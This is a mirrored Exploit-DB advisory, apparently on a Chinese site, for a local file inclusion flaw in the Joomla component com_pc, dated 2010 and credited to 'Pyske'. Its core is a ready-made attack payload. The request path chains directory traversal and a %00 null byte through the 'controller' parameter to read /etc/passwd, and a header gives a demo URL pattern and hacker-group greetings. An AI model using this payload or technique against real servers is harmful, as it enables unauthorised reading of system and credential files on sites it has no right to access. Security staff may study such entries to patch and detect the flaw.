Joomla! Component com_pc – Local File Inclusion - 体验盒子

作者： Pyske

日期： 2010-01-17

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/11168/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

<------------------- header data start ------------------- >

#############################################################

# Joomla Component com_pc LFI Vulnerability

#############################################################

# Author : Pyske

# Name : com_pc

# Home : www.cyber-warrior.org

# Greez : N0kt4 , fl0rix , F0RTS3V3N , KaBaDaYı , Blackapple All Cyber-warrior

# Bug Type : Local File Inlusion

# Demo Vuln. : http://server/index.php?option=com_pc&controller= [LFI]

#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >

path /index.php?option=com_pc&controller=index.php?option=com_pc&controller=../../../../../../../etc/passwd%00

< -- bug code end of -- >